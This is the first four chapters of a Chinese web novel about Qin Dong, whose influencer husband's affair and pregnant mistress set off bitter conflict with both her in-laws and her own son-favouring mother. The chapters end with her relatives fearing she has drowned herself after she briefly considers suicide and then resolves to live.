《寄人篱下》 1、第一章 秦冬第一章 “这个天打雷霹的王八羔子!没良心!不得好死!”冯母坐在秦家的沙发上嚎啕大哭,边哭边捶自己胸口,“我这是造了什么孽,养出这样的畜牲来!” 秦冬看着直着脖子涕泪横流的婆婆,想,不知道的还得以为婆婆是苦主。 冯母的脸颊印着五六个巴掌印子,自己抽的,“今儿早上小铮去叫我,我才知道那贱人又来了,气的我拿棍子把冯春和那贱人都打了出去!我指着天说,我就是不要儿子,我也得要小冬这个媳妇!” “亲家,我这话有半字假,立刻叫天下打个雷霹死我!”冯母泪流满脸,整个人像是从泪水里泡出来似的,双手抓住亲家母秦妈。 “这叫什么事儿啊!我真想一瓶农药下去,死了省心。可我就是放不下小铮小涵,这俩孩子可要怎么着。” 冯母直哭的嗓音嘶哑,脸庞肿胀,眼睛都要睁不开,跟秦家人商量,“我把那俩畜牲撵走了。我已经打电话跟冯春说,他再敢回来,我立刻一剪子捅死我自个儿。从此我就当没这个儿,我管不了他,我也不管了,我不是他娘。我就要我这媳妇,跟我这俩孙女,咱们一家子过日子。” 冯母哭嚎了半日,又是下跪又是自抽耳光,最后,她拉起秦冬的手,流着泪说,“闺女,你不看我的面子,也看俩孩子面儿上。跟娘回去吧。” 秦冬心中一阵酸楚,眼眶已经发烫,她深吸口气,张张嘴,话没说出来,喉咙被哽住,一串眼泪滚落,滴在衣角。秦冬抽出手,擦去眼泪,说,“过几天,让小铮小涵来看看我。我就不过去了。” 冯母又要哭劝,秦冬已经站起身,转身离开客厅。 秦妈也没心思留冯母吃午饭,冯母见秦冬不同她回去,也没办法,对着秦妈好话说尽,归根到底就一句话,“看孩子面儿上,也不能离啊。” * 冯母早上十点钟出门,中午近一点钟才回家。 一进屋就见半茶几吃剩的盘盘碗碗,丈夫阖着眼,靠着床头听手机里播放的国际局势。听到响动,冯父见妻子回家,立刻从床上起来,往窗外瞅两眼,有些失望,“怎么样了?儿媳妇没跟你回来?” “是个人,但凡还有一丁点儿的脸,都不会跟我回来!”冯母没好气噎了丈夫一句,端起床头柜上的水杯灌了两口,好歹润了润嘶哑干渴的嗓子。 冯父拉着冯母,“有件事,我得跟你说。” “什么事?”冯母不耐烦,“那小狐狸精出门叫车撞死了!” “不是。外头那个肚子里有了,”冯父神秘兮兮凑到冯母耳边,压低声音,“是个儿子。” 冯母眼中一亮,皱眉有些怀疑,“是真的吗?” “千真万真,冯春打电话告诉我的,他在市医院找了人,亲自带着那个去拍的片子,千真万确是儿子。”冯父难掩喜色,搓了下手,“我就说,三年前我去算命,人家说我是有孙子的命。” 冯母没好气瞪他,“那种狐狸精样的下贱货,能生出什么好东西不成!” “唉呀,大人是大人,孩子是孩子。”冯父劝她,“我看冯春也是铁了心的。再说,这不离行么。那边儿也不是好惹的,要是在网上一曝光,冯春的事业还做不做了?” “那个破直播!爱做不做!不做也惹不出这些个骚事儿!”冯母怒上心头,放声大骂,“还不如以前消消停停的过日子!有俩糟钱儿就不知道姓谁名谁了!自己不是个人,连累父母跟着丢人现眼!” 冯父看她气的厉害,终于看到冯母脸颊微肿,问一句,“你脸怎么了?” “怎么了怎么了?我养出这样的畜牲,去人家赔礼道歉就应该自抽耳光。”冯母大骂冯父,“有好事儿蹿的比猴儿都快,这样丢人的事儿就让我去。” 冯父不敢招惹她,叹气,“这不是看俩孩子么。俩孩子,一个十一,一个九岁,儿媳妇一走,这要怎么着?怎么也得是亲娘看着。” 想到俩孙女,冯母跟着叹气,看茶几上剩的盘盘碗碗,“中午吃的面条。” “嗯。炸酱面,省事儿。”冯父问,“你吃没?” “我往哪儿吃!人秦家还能管我饭!” 冯父立刻说,“我给你煮一碗面去。” “不用。气都气饱了。” “吃点儿吧。哎,这一摊子事儿,麻烦在后头。”哪怕知道即将有宝贝金孙,冯父想到儿子这一摊,也是发愁。 冯母一拍桌子,“把冯春叫回来!他倒是会躲清静,叫别人受累,想的美!” * 夕照灿烂,崭新宝马停在门外,冯春拎着县城饭店订的菜,进门见冯铮冯涵姐妹俩在院里背语文课本上的古诗,冯铮背一句,冯涵学一句,孩子们清脆的童音听到耳朵里便让人不禁泛起笑意。 何况冯春心有亏欠,见俩孩子没理他,先笑着说话,“背书哪。好好背,以后考个好大学。” 冯铮收回视线,继续背。冯涵跟着学。 见俩孩子竟不理会他一句,冯春面子上过意不过,冷了脸,“没听到爸爸跟你们说话么?” 冯铮,“听到了。” “那你不知道应一声。” 冯铮歪着头打量他,“从昨天晚上赵莹进到你跟我妈的屋里睡觉,我就不想跟你说话。” 冯春脸上一阵火烧,恼羞成怒,“大人的事,小孩子少管!背你的去吧!”快步进屋里去了。 冯铮稚嫩的脸上浮现一丝讥诮冷笑,对妹妹说,“把刚才的诗背一遍。” 冯涵眼泪汪汪,问姐姐,“爸爸妈妈是不是要离婚了?小美说,咱爸咱妈可能要离婚。” “只要是正常有骨气的人,谁会跟爸爸这种人过日子!离婚有什么奇怪的,现在离婚的多了!小美她爸她妈不早离了!” 冯涵抹着眼泪,“小美说她后妈打人可疼了。” “她爸又不是网红,咱爸是网红,网红要脸!姓赵的敢碰你一下,我立刻在网上发视频,大不了一拍两散!”冯铮说冯涵,“你有点出息,别总哭个没完!” 冯涵抽咽,“我难受嘛。” “难受能解决啥事儿!” “难受就想哭一哭。” “哭吧哭吧。哭完了把诗给我背一遍!”冯铮教育冯涵,“爸爸不是能指望的人,妈妈又无能又没钱,咱俩就得好好学习。趁着爸爸有钱,把学习搞好,赶紧学出本事,以后全得靠自己!” 冯涵很听姐姐的话,把诗又背了一遍。 * 小孩子声音本来就尖,冯铮又没小声说话,传到屋里,冯春尴尬的挠下头,冯母骂他,“小孩子都知道你靠不上!” “妈,已经这样了。”冯春硬着头皮接过母亲手里的馒头,放在饭桌上,“先吃饭吧。” 冯母压了压心里的气,指使冯春,“你没长眼睛吗?去盛饭!“ 自己去院里叫俩孙女吃晚饭,冯铮收起课本,带着妹妹去卫生间洗手。镜子里看看妹妹哭过的眼睛,又让她把脸一起洗了,跟她说,“天大的事儿,也要先吃饭。得身体棒棒的,才能花爸爸的钱,不然咱们跟爷爷奶奶都气死了,岂不是叫小三儿捡大便宜!” 正在盛稀饭的冯春忍无可忍,高声道,“我还没聋!冯铮你能不能教你妹妹点好儿!” 冯母在边儿上说,“我看小铮说的很对!” “妈!” “你给我闭嘴!”冯母呵斥冯春。 冯春索性不再说话。 * 姐妹俩洗干净手,到饭厅坐下吃饭。冯母先拿个馒头,一掰两半,一半给冯铮一半给冯涵,跟姐妹俩说,“今儿都是好吃的,多吃点。还有想吃的跟我说,让你爸花钱买。那钱咱们不花,也是叫狐狸精花。” 冯涵点点头,接过馒头吃饭。冯铮对着奶奶一笑,“奶奶,我记住了。明天中午吃油爆大虾,晚上吃红烧排骨。” “行行,没问题。闺女吃啥爸爸都给买。”冯春讨好的夹菜给俩闺女。 冯铮哼一声,依旧不同他说话。冯涵看姐姐不说话,她也不说。冯春笑笑,叹口气,招呼父母,“爸妈,你们也吃。” * 饭菜虽好,冯父冯母哪真就有心情吃。倒是俩孩子,上半天学也累了,吃的不少。吃过饭,冯铮说要去看书,就带着冯涵回姐妹俩的屋里去了。 俩孩子这样懂事,冯母又是一阵难受,捂着眼睛把泪水逼回去,“你造的孽!” 冯春不敢说话,起身把桌上的盘子碗收拾到厨房。再回来,冯父已经把餐桌擦干净,冯母泡了壶茶。一家三口也没往别处去,依旧围着餐桌坐下,冯母看向冯春,“是不是真的?” 冯春愣一下,反应过来,笃定至极,连连点头,“是儿子。去市私立医院做的检查,我那儿有认识的人,不会差的。” 冯母似是认命般叹口气,“那你打算怎么办?” 冯春看母亲一眼,又看父亲,最终低下头说,“我跟赵莹,是真心相爱。” 冯母立刻抬手,“打住。要不你就去厕所照照镜子再说话,不然就不要说这些屁话!” “妈!我是说真的!”冯春强调,“我跟赵莹,是真心喜欢。” “你要还是在家种地在工厂打工的土鳖,人家一个堂堂硕士研究生,大舅还是副县长,人家能看得上你!”冯母冷笑,“现在你有钱了,有名了,她才会正经看你一眼,才会不要脸的勾引你,搞大肚子也要逼你离婚!” 冯母给自己倒杯茶水,声音里像是粹了火,“别有几个糟钱就叫女人迷了眼。你们的爱情,建立在你的名你的钱的基础上。我说这话没有侮辱你俩伟大爱情的意思,这是事实。” 冯春难掩不满,“那要怎么着。赵莹已经有了,我要不娶她,她不肯放过我的。再说,她怀的还是儿子。” 冯父也舍不得孙子,不禁帮腔,“是啊。主要是孙子。” 冯母问冯春,“那你媳妇要怎么着?你这账号,可是婚后做起来的。离婚得分她一半。” 冯父立刻反对,“这怎么行!平时拍摄都是小春来!卖货也是小春卖!小冬可没出过什么力。” “法律就是这么规定的。婚内财产,一人一半。”冯母五十来岁,平时手机刷的勤,懂一些法律。 冯父割肉似的难受,推冯春,“你倒是拿个主意。” 冯春显然早想好了,此刻父亲问,便将心中想法阖盘托出,“小铮小涵还小,离不开妈。要不是赵莹这么闹,我也不想离婚。我想着,跟小冬商量商量,依旧请她回家来。平时家里一应费用我来出,我再一个月给她一万块钱,这儿依旧是她的家。平时我跟赵莹住县里的房,我不让赵莹来碍你们的眼。” 这主意说完,冯父依旧不乐意,跟冯母说,“一月一万也太多了。在村里,去哪儿花啊。” 冯母也觉着钱多了些,思量着,“以前小冬不在乎,钱都是搁冯春那儿。现在哪儿能一样,就是小冬好说话,亲家也不是好缠的,肯定要给小冬出主意。” 不过,冯母也觉着这主意最好,儿媳妇秦冬一向好说话,又疼孩子,而且,孩子正好,需要妈妈照顾。 “这事儿谁去跟小冬说?” “我去。”冯春显出几分担当,“我心里依旧是有她的。也就是个名分的事儿。在我心里,她是最好的。我去找小冬,她要打要骂,我都听着挨着。只要她消气,我怎么着都行。” 冯母担忧,“我就怕你岳父岳母不答应。” “我不会亏待小冬。她跟我白手起家,我心里记着她的好。”冯春神色坚定,“一次不行,我就去两次,两次不行就三次。” “我看你先说些好话,把小冬接回来。”冯父跟儿子说,“等回了咱家,你们好上几天,再慢慢跟小冬说。小冬不是不通情理的人,这不为了孩子么。也不一定就得一万,一月五千也不少了。” 冯母一摆手,“先别说钱的事。你先把小冬哄回来。小铮小涵得有人管,孩子事儿多着哪。过些天又要助农卖水果,我可顾不过来!”【..top】 2、第二章 秦冬第二章 天气有些热,想着家里的氛围,李红也没做什么麻烦的,麻利拌了个苦菊菜,从锅里盛出炒好的豆芽,拍拍趴桌上写作业的儿子,“去洗手,吃完饭再写。” 一边收起桌上的课本作业,跟丈夫说,“你去叫爸妈大姐来吃饭吧。天大的事儿也得吃饭哪。” 秦俊彦看着手机,“这也得吃得下。” “吃不下你就不叫了。” 秦俊彦这才抬起头,去叫父母姐姐过来吃饭。 秦冬不吃。秦妈也没胃口,还是秦爸劝了几句,秦妈才一起过来饭厅吃饭。李红见状,“给大姐单留出一份饭菜吧。晚上饿了,微波炉一热就能吃。” “不用。留了你姐也吃不下去。”秦妈拿起筷子,“咱们吃吧。” 这顿饭吃的悄无声息,大人情绪低沉,孩子的话也就少了。秦妈只喝了碗稀饭,就回屋去了。秦爸吃的也不少。待丈夫儿子吃完,李红把餐具收到厨房,该进洗碗机的进洗碗机,该手洗的手洗。 把这些事收拾完,回屋看儿子在写作业,李红坐床边儿,问丈夫,“大姐是怎么打算的?” “我怎么知道?” 李红沉默半晌,“我听到一个消息,不大好。” “什么事儿,你就说吧。” “我听说,姐夫外头那女的,怀孕了。” 秦俊彦腾的站起来,两只眼睛死盯着李红,“真的?!” 李红小声说,“开超市的秦小霞跟我说的,说怀的是个儿子。” “这个畜牲!得寸进尺!”秦俊彦高声咒骂,吓了儿子一跳。李红使劲儿拍他,“小声点。”跟儿子说,“继续写作业。” 悄声说丈夫,“大姐在屋里呢。” 秦家一排六间房,秦俊彦婚后住了西边三间屋子。除了夫妻俩的卧室,最西头房间预备着儿子大些住,中间是小客厅。东三间是秦爸秦妈老两口住,秦爸秦妈住最东边儿的屋子,中间做了厨房饭厅,靠西的一间秦冬偶尔回娘家时住。 故而,秦冬的屋子跟秦俊彦小夫妻的也就隔一堵墙。 秦俊彦气的狠,小声嘀咕,“上次就不该让大姐回去!” “那是真要离么?”李红问丈夫。 “这还不离!等人家儿子呱呱落地去喝满月酒么?”秦俊彦冷笑。 李红说,“要是当初大姐听妈的,试试生三胎,没准是儿子呢。” “就冯春那骚狗样儿,生八胎都没用!难道人家生闺女的就都离了,还不是这两年挣了几个臭钱,就不是他了!”秦俊彦骂一顿冯春,“我跟爸妈说,不许再叫大姐过去!大姐又不是找不着人家!现在哪个村儿没十个八个的光棍,宁可找个没钱的正经人,也不跟姓冯的过!” 说完就大步往爸妈屋去了! * 秦家拿定主意,第二天冯春带着礼品上门,没等他进屋,秦妈直接抄起一早放在门口的扫把把人打了出去。连带冯春慌乱间放下的牛奶八宝粥也一股恼的给他扔到车外! 秦妈犹不解气,对着冯春那辆骚包的宝马又是一通抡打!冯春一向宝贝这辆车,不敢再多停留,连忙一脚油门,倒车掉头跑出去老远。秦家门前石灰地上留下几道乱糟糟的车轮印,地上一箱八宝粥被轧个正着,浓稠的粥粒溢出纸箱外,散发出一些香甜气味。 秦妈气的扔了扫把,拎起牛奶和八宝粥,两步扔到街角垃圾桶! 回家站院子里喘一回气,秦妈抬脚去了秦冬屋里,见秦冬靠在床上,秦妈问她,“你是怎么想的?” 秦冬说了俩字,“离婚。” 秦妈深深吸口气,“过不下去,离了也好。” 她坐在床侧,问秦冬,“财产孩子怎么分,你想过没?” “再说吧。” “你要真想离,这些事儿就得想好,心里得有个数。小铮小涵都不累人了,难道都留给冯家,不美死他家!”秦妈说秦冬,“财产怎么分,你也得想好。之前我就告诉过你,钱得捏手心儿,你个傻不拉唧的,叫姓冯的哄的找不着北,钱也不管,公司也不管。男人有钱就犯贱,这个道理,上下五千年都管用!” 秦妈问女儿,“你现在手里有多少钱?” “有几万吧。” “才几万?”秦妈对这个数字显然不满意,问,“上次回去前我不是告诉你,你得把钱管起来。你怎么就不听。” 秦妈埋怨,”怎么这么没本事。” 这话秦冬这些天听了许多次,最常说的两个人,一个是婆婆,一个是亲妈。可这种话,不论听多少回,依旧叫人心里说不出的难受。秦冬脾气好,也不是一点脾气没有,“我要有本事,怎么会还在明知男人出轨,还会听信‘男人年轻时都这样,只当是为了孩子’这样的话回去?” 秦妈一恼,生气的说,“上次姓冯的指着天发誓不会跟外头的弄出孩子来,我也是为了小铮小涵着想。你要不愿意,别人再怎么劝,你不回去就行,谁还能逼你?你自己答应回去的,现在又怨我。我不也是为你好。那么大家业,难道就拱手让人别人! 真是的,好心好意,倒有了错。” 秦冬不再说话,秦妈站起来,“你好好想想吧。我是你妈,难道还能害你?早在你们那短视频刚挣着钱时,我就劝你再生个三胎,怎么也要生个儿子才行?你看,你不生,你不生有的是人生。” 秦冬震惊的看着母亲,她想不到这样伤人的话会由自己的亲妈说出来!大概是秦冬眼神中的震惊太明显,秦妈想到秦冬也是女儿,有些讪讪,“家产总得有儿子继承嘛。” “我想过了,我除了窝囊无能,没有其他过错。你要是愿意让我在这儿歇几天,我就在这儿住几天。你要不愿意,我去县里找个旅馆。我的事,不用你再操心。不生儿子,是因为我有俩闺女够了。我还挺心疼我闺女的,我当着自己闺女,说不出家产总得儿子继承的话。”秦冬眼泪流下来,“你为什么要这样说我?没有掌管家里的钱,没有拼命生出儿子,就是没本事?!世界上有的是好男人,有的是对婚姻忠诚的男人,有的是不重男轻女的男人!是我运道不好,是我眼光不好,没遇到好男人! 你是我亲妈!你为什么总要说这样伤我心的话! 我出嫁时十五万彩礼,你给了我三万块钱买家具!这就是陪嫁了!家产都是儿子继承的!你心里偏着儿子,我说过你一句吗?你为什么总要伤我的心!你能不能把你偏儿子的善心略微给我一点!我求求你,不要再跟我说话!” 秦冬怒痛到极限,抄起床头桌上的茶壶,劈手砸到地上,摔了个粉碎! 那啪的一声巨响,将秦妈从惊愕中惊醒,她还要说话,秦冬已经站到她面前,一指门口,大喝,“出去!” 秦妈见秦冬气的脸色煞白,眼中泪水夹杂着恨意,当时心中一怯,不敢再说话,连忙出去了。【..top】 3、第三章 秦冬第三章 中午。 秦冬在屋里躺着,秦妈在外头锅碗瓢盆,摔摔打打的跟秦爸说上午的事,不住的大声抱怨,“我还不是为了她!结果,人家半点儿不领情!还让我滚出去!” 秦爸从地里回来,头颈晒的黑红,放下喝了大半杯的水,“你小声些行不行,闺女心情不好。” “她心情不好,好像谁心情好似的!为了她的事,隔三差五的不安生!为的谁!就知道有事往娘家一躲!有本事去宰了那小狐狸精!有本事往婆家使去!回娘家算什么本事!”秦妈越说火气越旺,“有本事别回来!别住我的房!跟我摔东西!” 要搁以往,母亲骂几句抱怨几句,秦冬是不放心上的,说的难听,咬咬牙也就忍了。可是,她突然不想忍了。 她从房间出来,对母亲道,“你说的对。这是你的房,是爸的房,将来是俊彦的房,以后是秦鑫的房。你不愿意,我就不住了。” 说完,她就往外走。 秦爸忙拉住她,“你妈就气头上,她就这脾气,小冬,自家人,哪儿能真生气。” 秦冬握住父亲的手腕,从自己的胳膊上拿了下来。她说,“我真生气。我走了,你们就安生了。” 她眼泪不停的掉,放开父亲的手,颤抖着说,“你们安生的过日子吧。我走了。不会再来添麻烦了。” 秦爸还要再劝,秦妈想到上午被撵的事还生气,打断丈夫要拦的手,指着大门说,“你有本事就走!走了你就别回来!以后也休想再叫娘家给你撑腰!” 在里屋看电视的小侄子胆怯又好奇的往外看,只看见大姑秦冬沉默离开的背影。 接着是奶奶的骂声,“叫她走!有本事一辈子别回来!” “你这是干啥!你就不会好好说话,小冬这几天不痛快!” “她不痛快,好像谁痛快似的!是她自己没本事,拢不住男人,管不住钱!她但凡有丁点儿本事,她就不一有事儿就回娘家挺尸!” …… 秦冬一直走出院门,终于听不到母亲的叫骂。六月的大中午,阳光很热,晒的人眼前发白刺亮,可离了那骂声,似乎世界都清静下来。 有人骑着电瓶车经过,好像跟她打了招呼。秦冬没说话,就这么漫无目的的向村外走去。 在太阳下,离开那骂声,似乎心里的刺痛也好些了。她就这么半低着头,一直走一直走,走过高高的白杨树遮下的树荫,走过刚刚收割完小麦的麦地,中午的太阳那样大,知了不要命的鸣叫,偶尔也会有几丝风,夹杂着夏天的热浪,拂过它所见到的一切生灵,秦冬的衣衫被汗水洇透。 她完全没察觉,她就这样一直走,走到了横穿县城的河堤上。借着河里的水气,空气里似乎也多了一些凉意。 河水被烈阳照的刺眼,秦冬神色有些恍惚。她一生从未做过任何坏事,做错事的人也不是她,她想不明白,为什么这些人会找出她这么多的错处来让她伤心。 婆婆偏着亲儿子,这是人之常情。母亲明明是她亲妈,却会说婆婆一样的话。 婆婆还只是私下说,母亲不一样,母亲是当面说。 她拢不住男人,她捏不住家里的钱,她让娘家不安宁。 因为她的事,让娘家不安宁。 她一直以为,她有事就能回娘家,她不是要久住,她只是想短短的住几天。 不安宁。 多么嫌弃的话。 秦冬也是做妈的人,她想,如果是自己的女儿出了事,她一定舍不得对女儿说半句狠话,也不会觉着不安宁。她只会心疼,只会想怎么才能帮到女儿。哪怕帮不上忙,她也不会嫌弃自己的女儿。 而她的母亲,觉着不安宁。 母亲安宁时是什么样呢?很多记忆浮上心头,桃子熟了,她去帮着摘桃子时。父母生病,她去医院伺候的时候。逢年过节,她买东西送钱的时候。冯春短视频赚了钱,她教弟弟剪辑视频的时候。 这些时候,母亲是高兴的,欣慰的,觉着她是贴心的孝顺的。 秦冬想,只有给予时,大家才会开心。相反,给任何人带去麻烦,人家都会不高兴的。哪怕是自己的父母。 汗水顺着脸颊滚下来,秦冬人生里第一次意识到,她与父母并不是一家人。她其实是个外人。 外人的确不该住在别人家,也不该给人家带去麻烦。 可即使是外人,看在她这些年没添过多少麻烦,反而一年三节没空过手,也会让她借住几天。 我这活的,真是白活三十几年,竟然刚刚看明白。 真是太笨了。 难怪亲人都看不起我,大家对待笨人总是轻视的,就像每个村里的傻子,别人看傻子时心里带着轻视,嘴里含着戏谑,拿傻子取乐是常事,有品行不好的人,私下还会欺负傻子。 她是正常人,不是傻子,可是他们轻视我跟轻视一个傻子有什么不同呢? 怪不得母亲骂她傻、无能、没本事。 她一直以为大家都是一家人,都是亲人,要全都好,才是好。原来,只有她一个人这样想。 母亲说的话很难听,可句句都是母亲的真心话。 她和冯春三年恋爱,十二年婚姻,她和父母三十几年的血脉相连,原来大家都是外人。 太阳热辣难挡,大地暑热蒸腾,秦冬却觉着自己每个毛孔都像被冰雪碾过,连心口都凉的发颤。她感到巨大恶心袭来,低头想吐,却是什么都没呕出来。可这股恶心怎样都止不住,可她几乎两天没吃东西,到最后只呕出两口酸水。 胸口闷的喘不上气,像被什么塞住一样难受,秦冬重重的捶了两下,她尽全身力气,终于又吐了一口出来。浓郁的甜腥味儿在喉咙口腔内翻转,秦冬盯着草地上暗红的颜色,才发现自己吐的是一口血。 她茫然的看着那口血,整个人连灵魂都轻灵起来。 大地与天空在一起旋转,秦冬看到自己跌跌撞撞向河水奔去。她忽然想,这样掉到河里去,死了岂不是一了百了。 她的手死死拽住防洪堤上的一棵脚腕粗的树苗,汗水顺着发丝淌下,铺满她的脸颊,秦冬手脚冰凉,大地与天空的旋转在慢慢变慢,她阖上眼睛,暑热烤干她眼角的泪。 秦冬想,我的真心给错了人,我的孝心,也给错了人。 既然不想死,就得想想怎么活。 秦冬从防洪堤上爬起来,沿着堤坝上的柏油路继续走,她想,以后一定要养条狗,她好好的喂狗,狗是最忠诚的动物。你对它好,它会知情。【..top】 4、第四章 秦冬第四章 那天,到底走了多久,秦冬也不记得了。她只记得在药店买了一盒藿香正气水,一盒补液盐,见到一家小宾馆,开了房,吃过药便睡去了。 * 吃过午饭,秦爸带着孙子午睡,秦妈摔摔打打的收拾了碗筷,洗干净放橱柜,自己也去睡了。 一点四十,秦爸要送秦鑫上学,往秦冬屋里看一眼,没人。秦爸一手提着孙子的书包,去找妻子,站在门口问,“小冬还没回来呢。” 秦妈睡梦中被叫醒,一肚子气的翻个身,“没回就没回!她又不是没长腿!怎么走就怎么回,难道还八抬大轿去接她不成!” 秦爸说,“你在家,小冬回来你不许再骂她。谁还没走背字儿的时候,是冯春那畜牲不做人,小冬没错。我去送小鑫了。” “去吧去吧。” “小冬回来你不要再骂她。”秦爸不放心再叮嘱一句。 秦妈一个转身,怒腾腾坐起来,“难道我不想好好过太平日子!谁还骂人有瘾了?!” 秦爸不敢再招惹她,忙带着孙子走了。 秦妈深深了解秦冬,秦冬一向听话省心脾气软,就是赌气,一会儿也就自己回来了。 * 傍晚秦俊彦李红从冷库回家,没见到秦冬,李红还问了句,“妈,我姐呢?” “我哪儿知道。”秦妈硬梆梆回一句,继续切菜。 李红把特意绕道买的烧烤拿出来,秦妈看一眼,“买这个做什么?” “我姐爱吃烤羊肉串,开车也方便,我跟俊彦到乡里夜市上买的,人家也是刚出摊。”李红补充一句,“小鑫也爱吃。” 秦鑫已经闻着味儿从屋里出来了,李红说,“先写作业。” “那就凉了。”秦鑫凑过去看妈妈买回的烧烤,“妈,给我买烤肠没?” “能不买么?” 秦鑫从保温袋里看到烤肠,高高兴兴拿出来,咬一口,四下看看,说,“妈,你没顺道给我带杯蜜雪冰城的柠檬水吗?” “晚上要吃饭的。喝一肚子冰水,还吃不吃饭了!你也少喝那些!”李红摸摸儿子的头,“一个星期喝一次。” “那也太少了。”秦鑫哀叹。 李红看他皱小眉毛的模样,忍不住翘起嘴角,“那等下次考试考100,就给你买一杯蜜雪。” “真的?” “我又不是你爸,我什么时候说话不算过?” 秦鑫悄悄拽拽妈妈的手,往里屋使眼色。李红一笑,同他过去。秦鑫谨慎的关好门,还反锁了一下,才小声跟妈妈说,“中午大姑和奶奶吵架了。奶奶把大姑骂走了。” 李红脸色一变,问儿子,“吵的很厉害吗?” 秦鑫想了想,“奶奶骂的很大声,大姑说,她走了,不会再来添麻烦了。就走了。我放学回家,大姑还没回来。到现在,大姑也没回来。” 秦鑫问,“妈妈,大姑是不是不回来了。大姑说,这儿不是她的家。这是爷爷的家是奶奶的家,将来是爸爸的家,以后是我的家。大姑说,这儿不是她的家。” 李红喝斥儿子,“胡说什么。这怎么不是你大姑的家!” “本来就不是啊。”秦鑫咬口烤肠,“大姑平时又不在咱们家,她以前是在姑父家的。” “不许这么说!这儿就是你大姑家!”李红骂儿子,“再叫我听到你说这种话,我就揍你!蜜雪你也甭想喝了!” “哦。知道了。我不说了。” “好好吃你的烤肠吧。” 李红开门出去,叫了丈夫去西边自己卧室。把儿子说的话告诉了丈夫,李红说,“你打大姐手机问问,看大姐去哪儿了?儿子说中午没吃饭就走了,这天眼见就黑,还不见大姐回来。不会是回冯家村儿了吧?” “不会。”秦俊彦说着,立刻打秦冬的微信视频。屏幕一直显示正在呼叫,响铃超过一分钟手,自动挂断。 秦俊彦不死心,继续打,依旧是这样。 李红提醒他,“打大姐的手机问问?” 秦俊彦拨通号码,那边传来对方已关机的电子语音提示。 秦俊彦看向妻子,“关机了。” 李红说,“打冯春手机问一下,看大姐有没有去冯家村。” 秦俊彦怒,“我才不问他。” “咱这不是担心大姐吗?”李红看看窗外,“眼瞅一会儿就天黑了。” 秦俊彦说,“大姐又不是没别的朋友。” 秦俊彦亲戚朋友问了一圈,都没见秦冬,心里也急了,这才拨通冯春电话,冯春秒接,态度好到不行,几乎都带了谄媚,“小弟,什么事?” “我姐手机关机了,联系不上她。她有没有去冯家村?她中午出去,现在还没回来。” 冯春态度更好了,语气里听得出的亲热。“小弟,我现在没在家。我打电话问一下我妈,等一下,我给你回电话。” * 冯春暗自窃喜,他深深了解秦冬,秦冬最疼俩闺女,那是无论如何都放不下孩子的,必是回家看孩子去了。得叫母亲想办法留住秦冬,他这就回家,跟秦冬赔礼道歉,一定要取得秦冬的原谅。 一会儿去饭店订俩菜,秦冬爱吃红烧肘子,再来条红烧鱼。 这么想着,冯春拨通母亲的手机。冯母说,“没见她来!” “小冬没回家?” “我这一整天都在家给俩孩子做饭、洗衣服、拖地,她要回来,我能看不到!你倒是快点把小冬接回来!这家离了她可不行!” “嗯。先挂了。” 冯春又给秦冬交好的几个朋友打电话,也都没见到秦冬。冯春这才觉着有些不好,手机音乐响起,见是秦俊彦的电话。冯春马上接起来,秦俊彦问,“我姐有没有过去?” “我刚问了我妈,没见小冬回去。我给小冬的几个朋友打电话,她们也没见小冬。”冯春问,“小冬什么时候离开你家的?” “中午。没吃午饭就走了。” * 冯母嘀嘀咕咕叫俩孩子来端饭,“也不知道去哪儿了?有这功夫不知道回来看看孩子。一走好几天,孩子不管,家不管,到底打算怎么着。把孩子扔给我,真是倒了八辈子霉,我怎么天生受苦受累的命!” 冯母的嘀咕声显然不小,冯铮听到,刚接到手的一碗稀饭险没拿稳,她顺手把稀饭放到厨台,问,“我妈怎么了?” “没怎么?不知道跑哪儿去了!你爸打电话问我,我哪儿知道!有这乱跑的功夫不知道回来看看你们!也不知道怎么当妈的!” 冯铮很严肃,“我妈不见了?” “谁知道?” “我爸怎么知道我妈不见了?” “你舅打电话问他的。” 冯铮突然说,“我妈不会寻死了吧?” 冯母刚盛出的一碗饭啪的摔到地上,她大声骂冯铮,“不许胡说!你妈跟你爸就是拌个嘴!哪儿就值得闹死闹活!” “要是个能耐人怎么也得争回这口气!我妈有多窝囊,你也知道。上回她知道我爸外头有人,还肯回来。这回你们忒不把她当人,她活不了了,她自己去死了。” 冯铮说着已经流下泪来,“你们逼死了我妈!” 冯铮突然一声尖利暴哭,“你们逼死了我妈!” 冯涵一见姐姐哭了,抱住姐姐的腰,也大哭起来。 冯母手里饭勺没握住,铛啷一声砸地上。冯父在正房听到声音,连忙跑东配房来,见俩孩子大哭,冯母脸也是煞白。忙问,“怎么了怎么了?” 冯铮大哭,“你们逼死了我妈!我妈寻死了!” 冯涵跟着叫,“妈妈!妈妈!” 冯父一个趔趄,险些栽倒,心惊肉跳的问,“什么时候的事?” 冯母总算回过神,大喝,“不许胡说!你妈就是心里闷出去走走,散散心!谁说她死了!你见了,还是警察见了!好好的人,怎么可能寻死!” 冯铮拿起冯母放在厨台上的手机,“我要打电话给我爸。” 冯春心里正担心,见是母亲的号码,马上接起来,传来的冯铮发哑的声音,冯铮问,“我妈不是在我姥姥家么?她什么时候走的?” “你舅说中午没吃饭就走了。你舅以为她回咱家了。” “她没回来。”冯铮忍着泪水说,“各村不都有群么。让我舅去夏家村群里问问,那么大个人,总不能平白无故就不见了。” “好。我这就跟你舅说。” 冯铮流着泪说,“爸!我妈跟你,自由恋爱,白手起家。她没有半点对不起你的地方,你实在太欺负人了。我舅现在恨你恨的要死,如果不是实在找不着人,不会给你打电话。如果我妈想不开寻了死,那就是你逼死了你的结发妻子。我和妹妹也会记住,是你逼死了我们的妈妈。” 冯春的确想离婚,也的确一肚子小九九,可他从没想过要逼死秦冬。冯铮一说秦冬可能寻死,冯春也吓的不轻,“不会不会。你妈不是那样人。她生气,打我骂我都行。怎么会寻死。不会的!我这就回去跟你舅一起找人!一定把你妈找回来!” “你妈一定没事儿的。别瞎想。” 冯春挂了电话,也不敢再耽搁,立刻联系小舅子,让小舅子在夏家村的群里问问,有没有人看到秦冬。 * 天色渐黑,秦爸从地里回来,电瓶车还没停稳,就听到妻子一声暴哭,“我的闺女呀!我的闺女啊!” 这一声嚎啕震的秦爸手脚发软,电瓶车一歪倒在地上。秦爸顾不得管,三步并两步进屋,问,“怎么了?” 秦妈身子发软,整个人朝地上瘫去。秦俊彦手脚发凉,李红眼疾手快扶住婆婆。秦爸上前接一把,问,“怎么了?” 李红也是惊的脸色泛白,嘴唇哆嗦,呼吸急促,六神无主的看向公公,“群里有人说,中午看我姐去大堤了。” “去大堤干嘛?!”秦爸没反应过来,把妻子扶沙发上歪着。 